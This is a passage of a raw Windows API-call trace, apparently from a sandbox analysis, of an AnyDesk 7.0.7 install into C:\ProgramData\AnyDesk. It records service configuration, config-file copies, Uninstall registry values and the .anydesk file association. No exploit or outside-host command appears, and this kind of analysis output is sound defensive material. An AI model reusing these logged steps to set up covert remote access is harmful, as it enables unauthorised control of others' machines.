cbMultiByte=-1, lpWideCharStr=0x24fb18, cchWideChar=18 | out: lpWideCharStr=" support service.") returned 18 [0178.961] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x33534c0 [0178.961] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24fb18 | out: hHeap=0x240000) returned 1 [0178.961] ChangeServiceConfig2W (hService=0x516aa0, dwInfoLevel=0x1, lpInfo=0x12643c*(lpDescription="AnyDesk support service.")) returned 1 [0178.984] GetLastError () returned 0x0 [0178.985] GetSystemTime (in: lpSystemTime=0x126384 | out: lpSystemTime=0x126384*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xc, wMilliseconds=0xc2)) [0178.985] GetCurrentThreadId () returned 0xe08 [0178.985] GetCurrentProcessId () returned 0xe14 [0178.985] GetLastError () returned 0x0 [0180.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4f8 | out: hHeap=0x240000) returned 1 [0180.017] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352c20 | out: hHeap=0x240000) returned 1 [0180.018] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353458 | out: hHeap=0x240000) returned 1 [0180.018] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.018] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d870 | out: hHeap=0x240000) returned 1 [0180.018] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1453ae4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0180.018] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x3352bf8 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1453ae4, cbMultiByte=-1, lpWideCharStr=0x3352bf8, cchWideChar=13 | out: lpWideCharStr="service.conf") returned 13 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.018] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.018] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0180.018] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.018] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353390 [0180.018] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0180.018] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x3353418 [0180.019] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353390 | out: hHeap=0x240000) returned 1 [0180.019] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.019] PathFileExistsW (pszPath="C:\\ProgramData\\AnyDesk\\service.conf") returned 0 [0180.020] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.020] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.020] GetLastError () returned 0x0 [0180.020] GetSystemTime (in: lpSystemTime=0x126444 | out: lpSystemTime=0x126444*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xc, wMilliseconds=0x3af)) [0180.020] GetCurrentThreadId () returned 0xe08 [0180.020] GetCurrentProcessId () returned 0xe14 [0180.020] GetLastError () returned 0x0 [0180.020] SHCreateDirectoryExW (hwnd=0x0, pszPath="C:\\ProgramData\\AnyDesk" (normalized: "c:\\programdata\\anydesk"), psa=0x0) returned 183 [0180.021] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353390 | out: hHeap=0x240000) returned 1 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1453ae4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0180.021] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x3352bf8 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1453ae4, cbMultiByte=-1, lpWideCharStr=0x3352bf8, cchWideChar=13 | out: lpWideCharStr="service.conf") returned 13 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.021] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.021] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0180.021] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.021] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353390 [0180.021] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0180.021] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x3353418 [0180.021] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353390 | out: hHeap=0x240000) returned 1 [0180.021] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.021] CopyFileW (lpExistingFileName="", lpNewFileName="C:\\ProgramData\\AnyDesk\\service.conf" (normalized: "c:\\programdata\\anydesk\\service.conf"), bFailIfExists=1) returned 0 [0180.022] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.022] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.022] GetLastError () returned 0x3 [0180.022] GetLastError () returned 0x0 [0180.022] GetSystemTime (in: lpSystemTime=0x126444 | out: lpSystemTime=0x126444*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xc, wMilliseconds=0x3af)) [0180.022] GetCurrentThreadId () returned 0xe08 [0180.022] GetCurrentProcessId () returned 0xe14 [0180.022] GetLastError () returned 0x0 [0180.022] CopyFileW (lpExistingFileName="", lpNewFileName="C:\\ProgramData\\AnyDesk\\system.conf" (normalized: "c:\\programdata\\anydesk\\system.conf"), bFailIfExists=1) returned 0 [0180.022] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.022] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d870 | out: hHeap=0x240000) returned 1 [0180.022] GetLastError () returned 0x3 [0180.023] GetLastError () returned 0x0 [0180.023] GetSystemTime (in: lpSystemTime=0x126444 | out: lpSystemTime=0x126444*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x11, wMinute=0x30, wSecond=0xc, wMilliseconds=0x3af)) [0180.023] GetCurrentThreadId () returned 0xe08 [0180.023] GetCurrentProcessId () returned 0xe14 [0180.023] GetLastError () returned 0x0 [0180.023] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1264b8 | out: phkResult=0x1264b8*=0x1a8) returned 0x0 [0180.024] RegCreateKeyExW (in: hKey=0x1a8, lpSubKey="AnyDesk", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x1264b8, lpdwDisposition=0x0 | out: phkResult=0x1264b8*=0x1a4, lpdwDisposition=0x0) returned 0x0 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353418 [0180.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0180.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x3353450 [0180.026] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x3353490 [0180.026] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.026] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0180.027] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x24f4c0, cchWideChar=2 | out: lpWideCharStr="\"") returned 2 [0180.027] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4a) returned 0x33534e0 [0180.027] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0180.027] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353490 | out: hHeap=0x240000) returned 1 [0180.027] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353450 | out: hHeap=0x240000) returned 1 [0180.028] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.028] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.028] RegSetValueExW (in: hKey=0x1a4, lpValueName="DisplayIcon", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\"", cbData=0x4a | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\"") returned 0x0 [0180.029] RegSetValueExW (in: hKey=0x1a4, lpValueName="DisplayName", Reserved=0x0, dwType=0x1, lpData="AnyDesk", cbData=0x10 | out: lpData="AnyDesk") returned 0x0 [0180.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0180.030] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0180.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469c5c, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0180.030] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4c0 [0180.030] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x8) returned 0x24f4d0 [0180.030] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4c0 | out: hHeap=0x240000) returned 1 [0180.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143152c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 6 [0180.030] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0xc) returned 0x24e4e0 [0180.030] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x143152c, cbMultiByte=-1, lpWideCharStr=0x24e4e0, cchWideChar=6 | out: lpWideCharStr="7.0.7") returned 6 [0180.030] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d890 [0180.030] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24e4e0 | out: hHeap=0x240000) returned 1 [0180.030] RegSetValueExW (in: hKey=0x1a4, lpValueName="DisplayVersion", Reserved=0x0, dwType=0x1, lpData="ad 7.0.7", cbData=0x12 | out: lpData="ad 7.0.7") returned 0x0 [0180.032] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.032] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0180.032] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.032] RegSetValueExW (in: hKey=0x1a4, lpValueName="EstimatedSize", Reserved=0x0, dwType=0x4, lpData=0x1264b8*=0x800, cbData=0x4 | out: lpData=0x1264b8*=0x800) returned 0x0 [0180.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b08, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 26 [0180.032] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x34) returned 0x3353418 [0180.032] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b08, cbMultiByte=-1, lpWideCharStr=0x3353418, cchWideChar=26 | out: lpWideCharStr="https://help.anydesk.com/") returned 26 [0180.032] RegSetValueExW (in: hKey=0x1a4, lpValueName="HelpLink", Reserved=0x0, dwType=0x1, lpData="https://help.anydesk.com/", cbData=0x34 | out: lpData="https://help.anydesk.com/") returned 0x0 [0180.033] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.033] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0180.033] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353418 [0180.033] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4d0 [0180.034] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x3353450 [0180.034] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0180.034] RegSetValueExW (in: hKey=0x1a4, lpValueName="InstallLocation", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\"", cbData=0x32 | out: lpData="\"C:\\ProgramData\\AnyDesk\"") returned 0x0 [0180.035] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353450 | out: hHeap=0x240000) returned 1 [0180.035] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.035] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b58, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 22 [0180.035] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x2c) returned 0x3353418 [0180.035] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b58, cbMultiByte=-1, lpWideCharStr=0x3353418, cchWideChar=22 | out: lpWideCharStr="AnyDesk Software GmbH") returned 22 [0180.035] RegSetValueExW (in: hKey=0x1a4, lpValueName="Publisher", Reserved=0x0, dwType=0x1, lpData="AnyDesk Software GmbH", cbData=0x2c | out: lpData="AnyDesk Software GmbH") returned 0x0 [0180.036] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b84, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0180.036] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x3352bf8 [0180.036] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1469b84, cbMultiByte=-1, lpWideCharStr=0x3352bf8, cchWideChar=13 | out: lpWideCharStr=" --uninstall") returned 13 [0180.036] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x62) returned 0x3353418 [0180.036] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.036] RegSetValueExW (in: hKey=0x1a4, lpValueName="UninstallString", Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --uninstall", cbData=0x62 | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --uninstall") returned 0x0 [0180.037] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.037] RegSetValueExW (in: hKey=0x1a4, lpValueName="VersionMajor", Reserved=0x0, dwType=0x4, lpData=0x1264bc*=0x7, cbData=0x4 | out: lpData=0x1264bc*=0x7) returned 0x0 [0180.038] RegSetValueExW (in: hKey=0x1a4, lpValueName="VersionMinor", Reserved=0x0, dwType=0x4, lpData=0x1264bc*=0x0, cbData=0x4 | out: lpData=0x1264bc*=0x0) returned 0x0 [0180.039] RegSetValueExW (in: hKey=0x1a4, lpValueName="VersionBuild", Reserved=0x0, dwType=0x4, lpData=0x1264bc*=0x7, cbData=0x4 | out: lpData=0x1264bc*=0x7) returned 0x0 [0180.039] RegSetValueExW (in: hKey=0x1a4, lpValueName="VersionTimestamp", Reserved=0x0, dwType=0xb, lpData=0x12646c*=0x1263e8c2a8e0, cbData=0x8 | out: lpData=0x12646c*=0x1263e8c2a8e0) returned 0x0 [0180.040] RegSetValueExW (in: hKey=0x1a4, lpValueName="WindowsInstaller", Reserved=0x0, dwType=0x4, lpData=0x1264bc*=0x0, cbData=0x4 | out: lpData=0x1264bc*=0x0) returned 0x0 [0180.041] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x33534e0 | out: hHeap=0x240000) returned 1 [0180.041] RegCloseKey (hKey=0x1a4) returned 0x0 [0180.041] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Clients\\Media", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1264b8 | out: phkResult=0x1264b8*=0x1a4) returned 0x0 [0180.042] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\RegisteredApplications", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1264b8 | out: phkResult=0x1264b8*=0x1ac) returned 0x0 [0180.051] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Classes", ulOptions=0x0, samDesired=0x2001f, phkResult=0x1264b8 | out: phkResult=0x1264b8*=0x1b0) returned 0x0 [0180.051] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4b0 [0180.051] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x30) returned 0x3353418 [0180.051] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.051] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4d0 [0180.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x104ad60, cbMultiByte=-1, lpWideCharStr=0x24f4d0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0180.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x32) returned 0x3353450 [0180.052] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0180.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x48) returned 0x3353490 [0180.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0180.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4) returned 0x24f4d0 [0180.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x145a7a4, cbMultiByte=-1, lpWideCharStr=0x24f4d0, cchWideChar=2 | out: lpWideCharStr="\"") returned 2 [0180.052] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4a) returned 0x33534e0 [0180.052] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4d0 | out: hHeap=0x240000) returned 1 [0180.052] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353490 | out: hHeap=0x240000) returned 1 [0180.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353450 | out: hHeap=0x240000) returned 1 [0180.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.053] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0180.053] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d890 [0180.053] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x24d890, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0180.053] RegCreateKeyExW (in: hKey=0x80000000, lpSubKey=".anydesk", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126434, lpdwDisposition=0x0 | out: phkResult=0x126434*=0x1b8, lpdwDisposition=0x0) returned 0x0 [0180.058] RegCreateKeyExW (in: hKey=0x1b8, lpSubKey="DefaultIcon", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126430, lpdwDisposition=0x0 | out: phkResult=0x126430*=0x1bc, lpdwDisposition=0x0) returned 0x0 [0180.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0180.058] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x6) returned 0x24f4b0 [0180.058] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a3f0, cbMultiByte=-1, lpWideCharStr=0x24f4b0, cchWideChar=3 | out: lpWideCharStr=",0") returned 3 [0180.059] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x4e) returned 0x3353418 [0180.059] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24f4b0 | out: hHeap=0x240000) returned 1 [0180.059] RegSetValueExW (in: hKey=0x1bc, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0", cbData=0x4e | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\",0") returned 0x0 [0180.060] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.060] RegCreateKeyExW (in: hKey=0x1b8, lpSubKey="shell", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126430, lpdwDisposition=0x0 | out: phkResult=0x126430*=0x1c0, lpdwDisposition=0x0) returned 0x0 [0180.060] RegCreateKeyExW (in: hKey=0x1c0, lpSubKey="open", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x12643c, lpdwDisposition=0x0 | out: phkResult=0x12643c*=0x1c4, lpdwDisposition=0x0) returned 0x0 [0180.061] RegCreateKeyExW (in: hKey=0x1c4, lpSubKey="command", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x12643c, lpdwDisposition=0x0 | out: phkResult=0x12643c*=0x1c8, lpdwDisposition=0x0) returned 0x0 [0180.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a41c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 13 [0180.061] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x1a) returned 0x3352bf8 [0180.061] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a41c, cbMultiByte=-1, lpWideCharStr=0x3352bf8, cchWideChar=13 | out: lpWideCharStr=" --play \"%1\"") returned 13 [0180.061] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x62) returned 0x3353418 [0180.061] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3352bf8 | out: hHeap=0x240000) returned 1 [0180.061] RegSetValueExW (in: hKey=0x1c8, lpValueName=0x0, Reserved=0x0, dwType=0x1, lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\"", cbData=0x62 | out: lpData="\"C:\\ProgramData\\AnyDesk\\AnyDesk.exe\" --play \"%1\"") returned 0x0 [0180.063] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x3353418 | out: hHeap=0x240000) returned 1 [0180.063] RegCloseKey (hKey=0x1c8) returned 0x0 [0180.063] RegCloseKey (hKey=0x1c4) returned 0x0 [0180.063] RegCloseKey (hKey=0x1c0) returned 0x0 [0180.064] RegCloseKey (hKey=0x1bc) returned 0x0 [0180.064] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x24d890 | out: hHeap=0x240000) returned 1 [0180.064] RegCloseKey (hKey=0x1b8) returned 0x0 [0180.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0180.064] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x12) returned 0x24d890 [0180.064] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x146a36c, cbMultiByte=-1, lpWideCharStr=0x24d890, cchWideChar=9 | out: lpWideCharStr=".anydesk") returned 9 [0180.064] RegCreateKeyExW (in: hKey=0x1b0, lpSubKey=".anydesk", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126434, lpdwDisposition=0x0 | out: phkResult=0x126434*=0x1b8, lpdwDisposition=0x0) returned 0x0 [0180.064] RegCreateKeyExW (in: hKey=0x1b8, lpSubKey="DefaultIcon", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2001f, lpSecurityAttributes=0x0, phkResult=0x126430, lpdwDisposition=0x0 | out: phkResult=0x126430*=0x1bc, lpdwDisposition=0x0) returned 